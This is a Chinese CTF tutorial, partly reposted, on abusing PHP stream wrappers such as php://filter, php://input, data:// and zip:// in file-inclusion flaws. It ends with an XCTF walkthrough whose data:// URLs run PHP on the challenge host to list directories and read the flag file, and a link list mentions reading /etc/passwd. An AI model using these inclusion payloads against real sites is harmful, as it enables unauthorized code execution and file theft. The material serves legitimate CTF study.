php伪协议分析与CTF例题讲解
本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主)
一,php:// 访问输入输出流,有两个常用的子协议
1,php://filter 设计用来过滤筛选文件
使用方法:非php语法文件include失败,直接输出源码内容。
php://filter/resource=需要包含的文件

还有一种使用方法是:以读的形式,将需要包含的文件名转化为base64编码的方式进行读取,这样传入至include函数的文件名不会被误以为是php执行文件而执行,而是以base64编码方式显示源码
php://filter/read=convert.base64-encode/resouece=需要包含的文件

二、php://input
利用方法:将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可


三、file:// 后跟文件目录绝对路径
file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径

四、phar:// 可以查找指定压缩包内的文件
使用绝对路径与相对路径均可

五、zip:// 用法与phar类似,不过有两点要注意
1,只能传入绝对路径。
2,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

六、data 与input 类似,都是用户可以控制传入的php代码
1,直接写入代码
data: text/plain,<?php 执行内容 ?>

2、base64编码后写入代码
data:text/plain;(注意是分号不是逗号,与前面不同)base64,编码后的php代码

注:有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。如下图所示:

七、http协议
include中也可以传入外部链接,采用http://

关于allow_url_fopen和allow_url_include的设置和用法总结:

XCTF例题:
除去php://;使用data://伪协议的方式,首先查看根目录,打印根路径的文件有哪些
echo $_SERVER['DOCUMENT_ROOT'];

再查看根目录下有哪些文件:
http://111.200.241.244:36230/?page=data://text/plain,?page=data://text/plain,%3C?php%20print_r(scandir(%27/var/www%27));?%3E

http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E
file_get_contents
file_get_contents — 将整个文件读入一个字符串
htmlspecialchars
htmlspecialchars — 将特殊字符转换为 HTML 实体输出,可获取flag
http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

php伪协议分析与CTF例题讲解的更多相关文章
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- CTF伪协议+preg_replace()函数的代码执行
一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...
- CTF中常用的php伪协议利用
1.file:// 作用: 用于访问文件(绝对路径.相对路径.网络路径) 示例: http://www.xx.com?file=file:///etc/passsword 2.php:// 作用:访问 ...
- NetAnalyzer笔记 之 二. 简单的协议分析
[创建时间:2015-08-27 22:15:17] NetAnalyzer下载地址 上篇我们回顾完了NetAnalyzer一些可有可无的历史,在本篇,我决定先不对NetAnalyzer做介绍,而是先 ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
- linux 网络协议分析---3
本章节主要介绍linxu网络模型.以及常用的网络协议分析以太网协议.IP协议.TCP协议.UDP协议 一.网络模型 TCP/IP分层模型的四个协议层分别完成以下的功能: 第一层 网络接口层 网络接口层 ...
- URI Scheme注册伪协议实现远程命令执行
Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...
- 【转】证书的应用之一 —— TCP&SSL通信实例及协议分析(下)
原文链接 前面两部分分别讲解了如何在.net程序中使用SSL实现安全通信以及SSL的通信过程,并通过抓包工具具体分析了ssl的握手过程,本文通过一个demo来模拟ssl协议,在TCP之上实现自己的安全 ...
- VNC协议分析
VNC协议分析 摘自: http://blog.csdn.net/forever_feng/article/details/4703088 简介 VNC(Virtual Network Computi ...
随机推荐
- entity framwork修改指定字段
1.ef修改时指修改指定字段public void ChangePassword(int userId, string password) { var user = new User() { Id = ...
- 1、Django框架目录介绍
1.windows上安装django pip install django==1.10.3 安装完成后:django-admin.exe 默认存放路径:C:\Users\licl11092\AppDa ...
- MySQL数据库系列(三)- MySQL常用引擎MyISAM和InnoDB区别详解
概述 InnoDB:在MySQL 5.5及之后的版本,InnoDB是MySQL默认的事务型引擎,也是最重要和使用最广泛的存储引擎.它被设计成为大量的短期事务,短期事务大部分情况下是正常提交的,很少被回 ...
- shit vuepress docs
shit vuepress docs https://deploy-preview-2764--vuepress.netlify.app/guide/directory-structure.html ...
- 如何配置 webpack 支持 preload, prefetch, dns-prefetch
如何配置 webpack 支持 preload, prefetch, dns-prefetch webpack , preload, prefetch https://webpack.js.org/p ...
- SQL All In One
SQL All In One Structured Query Language SQL is an ANSI (American National Standards Institute) stan ...
- React 17 发布候选版本, 没有添加新功能
React 17 发布候选版本, 没有添加新功能 React v17.0 Release Candidate: No New Features https://reactjs.org/blog/202 ...
- browsers simulator
browsers simulator https://developers.google.com/web/tools/chrome-devtools/device-mode/testing-other ...
- App Store Connect
App Store Connect https://developer.apple.com/support/app-store-connect/ https://developer.apple.com ...
- vue watch & arrow function bug
vue watch & arrow function bug watch: { GeoJSON: function(newValue, oldValue) { log(`\n\n\nGeoJS ...